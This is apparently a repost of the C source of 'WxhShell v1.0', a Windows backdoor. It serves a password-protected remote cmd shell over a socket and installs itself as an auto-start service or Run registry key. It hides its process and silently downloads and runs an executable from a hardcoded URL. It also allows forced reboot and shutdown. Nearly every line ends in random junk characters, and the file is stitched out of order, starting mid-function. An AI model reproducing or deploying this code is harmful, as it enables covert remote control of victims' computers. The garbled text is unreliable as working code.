  // 关机 2)Q%lEm`SP  
  case 'd': { ;TKsAU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2WS Wfh  
    if(Boot(SHUTDOWN)) Tmk'rOg5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); emHaZhh  
    else { e7yn"kd  
    closesocket(wsh); /Yj; '\3  
    ExitThread(0); pS "A{k)i  
    } *SYuq)  
    break; 4N)45@jk[  
    } " 1h~P,  
  // 获取shell 5Mp$u756  
  case 's': { 06 an(& a9  
    CmdShell(wsh); z s\N)LyM  
    closesocket(wsh); FwV5{-(  
    ExitThread(0); I@kMM12>c  
    break; 8iPA^b|sz{  
  }  z $iI  
  // 退出 bo#?,80L}`  
  case 'x': { TU1W!=Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 734H{,~  
    CloseIt(wsh); ikb;,Js  
    break; p#N2K{E  
    } ~ Ofn&[G  
  // 离开 nTE\EZ+=2  
  case 'q': { xUPg~c0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w&Z.rB?  
    closesocket(wsh); fskc'%x  
    WSACleanup(); nj#kzD[n>  
    exit(1); 7yal  T.  
    break;  [33=+C a  
        } o,qUf  
  } K8uqLSP '  
  } 6RfS_  
MFz6y":~  
  // 提示信息 +.a->SZ5"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *iUR1V Y  
} ?s]?2>p  
  } ^3C%&  
M1eM^m8U  
  return; :m0 pm@  
} { 3Qlx/6<  
g6H`uO  
// shell模块句柄 brdY97s4  
int CmdShell(SOCKET sock) n],"!>=+  
{ @Ll^ze&HI  
STARTUPINFO si; \98|.EG  
ZeroMemory(&si,sizeof(si)); {A\y 4D@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pYj}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gb26Y!7%  
PROCESS_INFORMATION ProcessInfo; '/fueku  
char cmdline[]="cmd"; }0 Fu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d&X <&)a7  
  return 0; A<-3u  
} A/OGF>  
#Wt1Ph_;  
// 自身启动模式 ^= '+#|:  
int StartFromService(void) $*7AG  
{ ~,{nBp9*  
typedef struct qdZo cTf'  
{ #&Zj6en}M]  
  DWORD ExitStatus; Gdr7d  
  DWORD PebBaseAddress; !Xzy:  
  DWORD AffinityMask; V0*9Tnc  
  DWORD BasePriority; /< \do 1  
  ULONG UniqueProcessId; [?n}?0  
  ULONG InheritedFromUniqueProcessId; <$8e;:#:  
}   PROCESS_BASIC_INFORMATION; .c@,$z2M  
T*#<p;  
PROCNTQSIP NtQueryInformationProcess; QKh vP>  
qbo W<W<H1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 960rbxKy3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fn.}LeeS>  
t7/a5x  
  HANDLE             hProcess; ~t^'4"K*  
  PROCESS_BASIC_INFORMATION pbi; cK t8e^P  
4K!@9+Mz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cC$E"m  
  if(NULL == hInst ) return 0; `3vt.b  
b@[\+P] "  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?r R, h{~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H?j}!JzAC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -l$-\(,M`#  
;CA7\&L>  
  if (!NtQueryInformationProcess) return 0; nn/_>%Y  
<a=k"'0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ig?Tj4kD  
  if(!hProcess) return 0; okD7!)cr=  
!qJ|`o Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h|.*V$3  
=mh)b]].4\  
  CloseHandle(hProcess); 6}q# c  
$1myf Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^qPS&G  
if(hProcess==NULL) return 0; X-5&c$hv  
z.*=3   
HMODULE hMod; ET q~, g'  
char procName[255]; -42jeJS  
unsigned long cbNeeded; ?N@p~ *x  
!Baq4V?KN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ysQ8==`38i  
CfjVx   
  CloseHandle(hProcess); ~[ x}  
!S[7IBk%  
if(strstr(procName,"services")) return 1; // 以服务启动 sme!!+Rd  
S)*!jI  
  return 0; // 注册表启动 i)+2? <]  
} +FYhDB~m  
QfsTUAfR  
// 主模块 e[J0+ x#;r  
int StartWxhshell(LPSTR lpCmdLine) {1]Of'x'  
{ ZTP&*+d  
  SOCKET wsl; 8(0q,7)y  
BOOL val=TRUE; G1:2MPH  
  int port=0; 2bt2h.a  
  struct sockaddr_in door; ;Z}V}B  
GA@Zfcg  
  if(wscfg.ws_autoins) Install(); O$ ;:5zT  
+vCW${U  
port=atoi(lpCmdLine); 6IC/~Woghx  
x0x/2re  
if(port<=0) port=wscfg.ws_port; } T1~fa  
$,B@yiie  
  WSADATA data; Q2ky|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oS_<;Fj  
.+hM1OF`x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ""^.fh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a |+q:g0M  
  door.sin_family = AF_INET; 4) ~ GHb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i:,37INMt  
  door.sin_port = htons(port); "6 fTZ<  
`)s>},8W!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7= x]p  
closesocket(wsl); }mSfg  
return 1; 3QzHQU  
} =o+))R4  
6z80Y*|eJ  
  if(listen(wsl,2) == INVALID_SOCKET) { Yet!qmZ  
closesocket(wsl); \!,@pe_  
return 1; jaI mO  
} p;m2RHYF  
  Wxhshell(wsl); }w8:`g'T0/  
  WSACleanup(); 1A b=1g{  
edD"jq)J  
return 0; _<1uO=km6  
o]|a5. O  
} CJu3h&Rp  
!{L`Zd;C>w  
// 以NT服务方式启动 +yd(t}H@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BKQI|i  
{ -wjvD8fL  
DWORD   status = 0; `CQMvX{  
  DWORD   specificError = 0xfffffff; W g2Y`2@t  
l4s_9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tJ,x>s?Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?4i:$.A Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4#BoS9d2I<  
  serviceStatus.dwWin32ExitCode     = 0; )R`w{V  
  serviceStatus.dwServiceSpecificExitCode = 0; < l%3P6|  
  serviceStatus.dwCheckPoint       = 0; x0!5z1KQh  
  serviceStatus.dwWaitHint       = 0; ;Y>cegG\  
RZeU{u<O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #]!0$z|Z  
  if (hServiceStatusHandle==0) return; ^N5BJ'[F:  
'9MtIcNb  
status = GetLastError(); ,pz^8NJAI  
  if (status!=NO_ERROR) <H)I06];  
{ x\Det$3Kx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r{gJ[%  
    serviceStatus.dwCheckPoint       = 0; uT??t=vb  
    serviceStatus.dwWaitHint       = 0; S@a#,,\[  
    serviceStatus.dwWin32ExitCode     = status; 5B'};AQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zom7yI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tj_+0J$sw:  
    return; &[hq !v  
  } 1>SCY _C v  
~"+Fp&[9f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *M_Gu{xc  
  serviceStatus.dwCheckPoint       = 0; 1MCHwX3/  
  serviceStatus.dwWaitHint       = 0; . 787+J?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AZCbUkq  
} @]H:=Q'gj  
\e/'d~F  
// 处理NT服务事件,比如:启动、停止 N+9`'n^x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1cyX9X  
{ b1}P3W  
switch(fdwControl) 4#z@B1Jx  
{ ,afh]#  
case SERVICE_CONTROL_STOP: yH8 N8  
  serviceStatus.dwWin32ExitCode = 0; 8h#/b1\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qxsK-8KT<  
  serviceStatus.dwCheckPoint   = 0; z6K"}C%  
  serviceStatus.dwWaitHint     = 0; qdB@P  
  { ':fq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tg&_P+kV  
  } MU^7(s="  
  return;  U'nz3  
case SERVICE_CONTROL_PAUSE: KbY5 qou  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }7Si2S  
  break; 1X4v:rI  
case SERVICE_CONTROL_CONTINUE: #qk A*WP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *FkG32k  
  break; | 1Fy  
case SERVICE_CONTROL_INTERROGATE: PEPBnBA&1  
  break; mlR*S<Z  
}; :o}J u}t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tVZj tGz=  
} xFpMn}CD  
$e;_N4d^  
// 标准应用程序主函数 ^3Ni  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LX e{  
{ @' DfNka  
O4kBNUI/  
// 获取操作系统版本 d FF[2  
OsIsNt=GetOsVer();  ? {Lp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Z_W*D  
W^W^5-'"D,  
  // 从命令行安装 J3fcnI  
  if(strpbrk(lpCmdLine,"iI")) Install(); qJj;3{X2  
 t]Xdzy  
  // 下载执行文件 wwS{V  
if(wscfg.ws_downexe) { ;/W;M> ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DYU+?[J  
  WinExec(wscfg.ws_filenam,SW_HIDE); n\}!'>d'  
} |Ebwl]X2  
~O~c^fLH(B  
if(!OsIsNt) { .N99=%[}h  
// 如果时win9x,隐藏进程并且设置为注册表启动 L{|V13?  
HideProc(); m9UI3fBX  
StartWxhshell(lpCmdLine); _yyQ^M/  
} Gw*n,*pz  
else 0+0+%#?  
  if(StartFromService()) e g#.f`  
  // 以服务方式启动 u0^: XwZ!  
  StartServiceCtrlDispatcher(DispatchTable); E0^~i:M k  
else *r)/.rK_  
  // 普通方式启动 _](vt,|L  
  StartWxhshell(lpCmdLine); D L_{q6ZK  
 M SU|T  
return 0; B~cQl  
} \cdNyVY  
AHP_B&s,Qe  
lkK+Fm  
@X_x?N  
=========================================== 2*-s3 >VK  
,V3P.ni]  
%0}qMYS  
1Fn+nDn O6  
NaSgK  
|b{XnD_g  
" Au$|@  
Ql> DS~a  
#include <stdio.h> &}S#6|[i  
#include <string.h> {Q[{H'Oa  
#include <windows.h> ^WP`;e  
#include <winsock2.h> FFl[[(`%D  
#include <winsvc.h> <J@Y=#G$2  
#include <urlmon.h> "P=OpFV  
+ ?n81|7`  
#pragma comment (lib, "Ws2_32.lib") 1vBR\!d?7  
#pragma comment (lib, "urlmon.lib") eOjoxnD-$  
'D8WNZ8Q  
#define MAX_USER   100 // 最大客户端连接数 w1/p wzn  
#define BUF_SOCK   200 // sock buffer U7.3`qd"  
#define KEY_BUFF   255 // 输入 buffer |k:MXI  
Qj? +R F6(  
#define REBOOT     0   // 重启 [y| "iSD  
#define SHUTDOWN   1   // 关机 GFOd9=[  
_e$15qW+  
#define DEF_PORT   5000 // 监听端口 A^_BK(EY  
Mf%0Cx `  
#define REG_LEN     16   // 注册表键长度 ^!-*xH.dK  
#define SVC_LEN     80   // NT服务名长度 .oYUA}  
rG1l:Z)  
// 从dll定义API Tm5]M$)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ppjd.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jpZ, $  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;sCf2TD,_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3(G}IWPq<  
Y"~I(,nx!  
// wxhshell配置信息 )y(pd  
struct WSCFG { zlZ$t{[,  
  int ws_port;         // 监听端口 40N8?kQ}?  
  char ws_passstr[REG_LEN]; // 口令 5BCXI8Ox9x  
  int ws_autoins;       // 安装标记, 1=yes 0=no hex:e2x  
  char ws_regname[REG_LEN]; // 注册表键名 W[[3'JTF  
  char ws_svcname[REG_LEN]; // 服务名 D)XF@z;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o ^L 3Xiv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1u7Kc'.xc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "qUUH4mR`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bB'iK4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s@K)RhTY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C3Q[L}X\  
*z;4. OX  
}; W}bed],l  
Vo<V!G{  
// default Wxhshell configuration tvynl;Y/  
struct WSCFG wscfg={DEF_PORT, b[Sd$ACd  
    "xuhuanlingzhe", -l<b|`s=w.  
    1, a:Js i=  
    "Wxhshell", oCdWf63D  
    "Wxhshell", b;#3X)  
            "WxhShell Service", wl #Bv,xf  
    "Wrsky Windows CmdShell Service", ^AtAfVJN0  
    "Please Input Your Password: ", :zZK%} G<  
  1, wq!Gj]B  
  "http://www.wrsky.com/wxhshell.exe", ?9nuL}m!a  
  "Wxhshell.exe" $ 5ZBNGr  
    }; 6U6,Wu  
YU.aZdA&V3  
// 消息定义模块 " l vPge  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ciVN-;vi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^%V'l-}/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lN#W  
char *msg_ws_ext="\n\rExit."; v{ Md4 p  
char *msg_ws_end="\n\rQuit."; Tz3 L#0:j  
char *msg_ws_boot="\n\rReboot..."; 9 o6ig>C  
char *msg_ws_poff="\n\rShutdown..."; w~hO)1c],:  
char *msg_ws_down="\n\rSave to "; B}8xA}<  
&{NN!X  
char *msg_ws_err="\n\rErr!"; g-"@%ps  
char *msg_ws_ok="\n\rOK!"; x zu)``?  
VV O C-:  
char ExeFile[MAX_PATH]; 2{Nv&ZX?  
int nUser = 0; % 1ZJi}~  
HANDLE handles[MAX_USER]; yEyx.Mh.Af  
int OsIsNt; 4;'o`K~*  
a]-F,MJ  
SERVICE_STATUS       serviceStatus; <QFT>#@T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }.ZX.qYX  
%!I7tR#;  
// 函数声明 Gs;wx_k^  
int Install(void); m`gH5vQa  
int Uninstall(void); hAtf)  
int DownloadFile(char *sURL, SOCKET wsh); b?eIFI&w^l  
int Boot(int flag); \,)('tUE  
void HideProc(void); L,c@Z@  
int GetOsVer(void); =B@+[b0Z  
int Wxhshell(SOCKET wsl);  P_6oMR  
void TalkWithClient(void *cs); 42E]&=Cet  
int CmdShell(SOCKET sock); lJ;7sgQ#  
int StartFromService(void); rpH ,c[D  
int StartWxhshell(LPSTR lpCmdLine); esU9  
;+] mcgN!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (CFm6p'RZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O_}R~p  
NovF?kh2  
// 数据结构和表定义 "/[xak!g  
SERVICE_TABLE_ENTRY DispatchTable[] = low 0@+Q  
{ >Lj0B%^EvM  
{wscfg.ws_svcname, NTServiceMain}, =i[_C>U  
{NULL, NULL} X c~yr\%]  
}; 2#LTd{  
Y!s94#OaZ  
// 自我安装 =n .d'  
int Install(void) w%F~4|F  
{ <]<P<  
  char svExeFile[MAX_PATH]; ^k6 A,Ak  
  HKEY key; nR'!Ui  
  strcpy(svExeFile,ExeFile); OP0KK^#  
"j-Z<F]]  
// 如果是win9x系统,修改注册表设为自启动 ;:2]++G  
if(!OsIsNt) { r(WR=D{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +.^BM/z^O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t4(Z@X$  
  RegCloseKey(key); :b t;DJ@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `&y Qtj# '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # 4UKkd  
  RegCloseKey(key); & -L$B  
  return 0; k|V%*BvY>  
    } Nki08qZ[  
  } tN P>6F/  
} :Z)a&A9v  
else { r ,I';vm<`  
*UBukn  
// 如果是NT以上系统,安装为系统服务 RlW0U-%u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]e`&py E  
if (schSCManager!=0) d[K71  
{ &h^E_]P  
  SC_HANDLE schService = CreateService }#%3y&7M7  
  ( A$d)xq-]K  
  schSCManager, *} @Y"y  
  wscfg.ws_svcname, Wk<heF  
  wscfg.ws_svcdisp, Xc8r[dX  
  SERVICE_ALL_ACCESS, Lv;% z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b)ytm=7ha  
  SERVICE_AUTO_START, Y$JGpeq8w  
  SERVICE_ERROR_NORMAL, 4z6i{n-k  
  svExeFile, _v=S4A#tF  
  NULL, k*XI/k5Vc  
  NULL, 9~3;upWu!  
  NULL, v *'anw&Z  
  NULL, aia`mO]  
  NULL 24{Tl q3  
  ); -DAkVFsN  
  if (schService!=0) xib?XzxGo  
  { !@>_5p>q*  
  CloseServiceHandle(schService); Vx'82CIC  
  CloseServiceHandle(schSCManager); b;Nm$`2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U-^qVlw  
  strcat(svExeFile,wscfg.ws_svcname);  vVvx g0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _{Z!$q6,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `Xs3^FJt  
  RegCloseKey(key); l$[7 pM[  
  return 0; lL8pIcQW  
    } rK` x<  
  } P ?^h  
  CloseServiceHandle(schSCManager); QjT$.pU d  
} f6/<lSoW  
} BQWhTS7  
yV"k:_O{  
return 1; d `MTc  
} J!{"^^*  
GgT 5'e;N  
// 自我卸载 +lYo5\1=  
int Uninstall(void) '%Fg+cZN\  
{ t+9[ki  
  HKEY key; -d-vzri  
I:|<};m m  
if(!OsIsNt) { Fw{:fFZC[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h@kq>no  
  RegDeleteValue(key,wscfg.ws_regname); WZ@hP'Zc  
  RegCloseKey(key); I1f4u6\*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }xx"  
  RegDeleteValue(key,wscfg.ws_regname);  ujin+;1  
  RegCloseKey(key); /$[9-G?  
  return 0; [|qV*3 |?  
  } s+m3&(X  
} Ga<Uvr%+  
} Ow" e3]}Mt  
else { }>93X0%r  
d9=i{i3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r~[Bzw"c  
if (schSCManager!=0) nu(;yIRP  
{ 7!qO*r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xdLMy#U2  
  if (schService!=0) ()}(3>O-  
  { '@0Z#A  
  if(DeleteService(schService)!=0) { #}xw *)3  
  CloseServiceHandle(schService); s78MXS?py  
  CloseServiceHandle(schSCManager); rtSG- _[i  
  return 0; ]3D>ai?  
  } gPE` mE  
  CloseServiceHandle(schService); iY,Ffu E  
  } ZA1:Y{ V  
  CloseServiceHandle(schSCManager); ']bw37_U,  
} ! V^wq]D2  
} AONEUSxJ  
:  I q  
return 1; A4~- {.w=  
} M&[bb $00j  
8NZQTRdH  
// 从指定url下载文件 :~^_*:  
int DownloadFile(char *sURL, SOCKET wsh) vZiuElxKi  
{ K0aT(Rc e  
  HRESULT hr; mAM:Q*a'  
char seps[]= "/"; Rs@>LA  
char *token; "M;aNi^B  
char *file; 1fH2obI~X  
char myURL[MAX_PATH]; 8@ZZ[9kt  
char myFILE[MAX_PATH]; T)Y{>wT  
oNEjlV*  
strcpy(myURL,sURL); <da-iY\5  
  token=strtok(myURL,seps); |LLDaA-=0  
  while(token!=NULL) A+=K<e  
  { @fQvAok  
    file=token; 5r1u_8)'  
  token=strtok(NULL,seps); A.9ZFFz  
  } Q]{ `m  
i7XM7 +}  
GetCurrentDirectory(MAX_PATH,myFILE); gbrn'NT  
strcat(myFILE, "\\"); BHu%x|d  
strcat(myFILE, file); ]?7q%7-e.a  
  send(wsh,myFILE,strlen(myFILE),0); h/oC9?v  
send(wsh,"...",3,0); rD;R9b"J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n \i ~H  
  if(hr==S_OK) pi|=3W  
return 0; ^`S.Mw.  
else S[;d\Z]~  
return 1; }`pxs  
oh0*bh  
} -Hh.8(!XoO  
p:NIRs  
// 系统电源模块 GY t|[GC  
int Boot(int flag) )61X,z  
{ ],~H3u=s3  
  HANDLE hToken; h'nXV{N0  
  TOKEN_PRIVILEGES tkp; 8B`w!@hf  
Fhrj$  
  if(OsIsNt) { ,p>@:C/M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0z$::p$%u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i+Lqj  
    tkp.PrivilegeCount = 1; `m`Y3I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `%/w0,0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G,}"}v:  
if(flag==REBOOT) { Y 8n*o3jM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9i46u20  
  return 0; @~QI3)=s  
} ?j;,:n   
else { ~f:"Q(f+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +>ld  
  return 0; `F$lO2#k  
} BR-4L2[  
  } udOdXz6K?  
  else { 7O-fc1OTv  
if(flag==REBOOT) { P~*'/!@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a$5P\_  
  return 0; x#XxD<y  
} 7Ucq(,\./  
else { &Nw[J5-"k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +O)Y7k{?C5  
  return 0; ?="?)t[  
} 0V ZC7@  
} 4(dgunP  
mpNS}n6  
return 1; ] T<#bNK\1  
} |va^lT  
7Bym?  
// win9x进程隐藏模块 1+#E|YWJ  
void HideProc(void) N;v]ypak  
{ +1]A$|qyW  
f28bBuv1?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f~R+Q/Gtz`  
  if ( hKernel != NULL ) u}.mJDL  
  { >QdT 7gB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !;UoZ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YrsE 88QqI  
    FreeLibrary(hKernel); q?qH7={,eu  
  } Qb5@e#  
RF= $SMTk  
return; ^ X-6j[".  
} P  Ij  
^fQa whub  
// 获取操作系统版本 uD?Rs`  
int GetOsVer(void) _3IRj=Cs  
{ .^6yCs5~`  
  OSVERSIONINFO winfo; :'FCeS9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DP-0,Gt&Xj  
  GetVersionEx(&winfo); )b1X6w[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V KxuK0{  
  return 1; )nGH$Mu  
  else KE6 XNG3  
  return 0; } ,@ex  
} *L~?.9R  
nkzH}F=<  
// 客户端句柄模块 Qff.QI,  
int Wxhshell(SOCKET wsl) Yd(<;JKF[  
{ CQPq5/@Y4  
  SOCKET wsh; X}wo$t  
  struct sockaddr_in client; L&d.&,CNs'  
  DWORD myID; RT(ejkLZm  
Vg(M ^2L  
  while(nUser<MAX_USER) Iw^Q>MrT  
{ k=cDPu -  
  int nSize=sizeof(client); pqTaN=R8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h\2iArw8  
  if(wsh==INVALID_SOCKET) return 1; F'-XAI <3  
+sV~#%%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /I((A /ks  
if(handles[nUser]==0) yp[,WZt  
  closesocket(wsh); .%!^L#g  
else "}Ikx tee  
  nUser++; %OsxXO?  
  } 6a<zZO`Z6+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6Jq3l_  
I1#MS4;$^  
  return 0; 3~{0X-  
} DJ9x?SL@KD  
A+j!VM   
// 关闭 socket PuhvJHT  
void CloseIt(SOCKET wsh) Z6-ZAS(>m  
{ M!D6i5k,   
closesocket(wsh); =ym<yI<  
nUser--; vOLa.%X]h  
ExitThread(0); 5,4m_fBoW  
} {9@u:(<X9  
<xe_t=N  
// 客户端请求句柄 +* j8[sz  
void TalkWithClient(void *cs) ,"F0#5  
{ =kf"%vFV  
@t;726  
  SOCKET wsh=(SOCKET)cs; \._|_+HiW  
  char pwd[SVC_LEN]; DN iH" 0%  
  char cmd[KEY_BUFF]; $ U7#3-'  
char chr[1]; nEPTTp+B  
int i,j; *U}ztH-+/  
zkiwFEHA=  
  while (nUser < MAX_USER) { !??g:2  
80`$F{xcX  
if(wscfg.ws_passstr) { f7|Tp m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "LSzF_mK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ai;8)C6  
  //ZeroMemory(pwd,KEY_BUFF); 5^R?+<rd  
      i=0; (tX)r4VU  
  while(i<SVC_LEN) { J7qTE8W=  
pTB7k3g  
  // 设置超时 1Vx5tOq  
  fd_set FdRead; D1 $ER>  
  struct timeval TimeOut; ~L>86/hP,N  
  FD_ZERO(&FdRead); E [6:}z<  
  FD_SET(wsh,&FdRead); 6^!fuIZ;_  
  TimeOut.tv_sec=8; C,A/29R,s  
  TimeOut.tv_usec=0; 4UUbX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RehraY3q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B=$O4nW_b  
?20R\ ]U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $7ix(WL<%  
  pwd=chr[0]; lD, ~%  
  if(chr[0]==0xd || chr[0]==0xa) { =LODX29  
  pwd=0; I!Z"X&  
  break; i(OeE"YA  
  } 6B%  h  
  i++; G%, RD}D  
    } z [ 'G"yCi  
$PI9vyS  
  // 如果是非法用户,关闭 socket 2wDDVUwyB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + ~5P7dh6  
} n I&p.i6  
OScqf]H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s2GF*{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (KwC,0p  
aL`wz !  
while(1) { "<{|ni}  
,p OGT71  
  ZeroMemory(cmd,KEY_BUFF); 3Pllxq<n  
"wuO[c&%/  
      // 自动支持客户端 telnet标准   jd,i=P%  
  j=0; ~%C F3?e6  
  while(j<KEY_BUFF) { fm`V2'Rm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A)V*faD  
  cmd[j]=chr[0]; 01n132k  
  if(chr[0]==0xa || chr[0]==0xd) { Aq*?Q/pV  
  cmd[j]=0; :enR8MS  
  break; <9piKtb|L  
  } lSW'qgh  
  j++; f$6N  
    } h6OQeZ.  
]@ke_' "  
  // 下载文件 i;U*Y *f  
  if(strstr(cmd,"http://")) { fISK3t/=C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ilitwRN3  
  if(DownloadFile(cmd,wsh)) 1+WVh7gF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  qT!lq  
  else 1kw*Q:   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eBs.RR ]O  
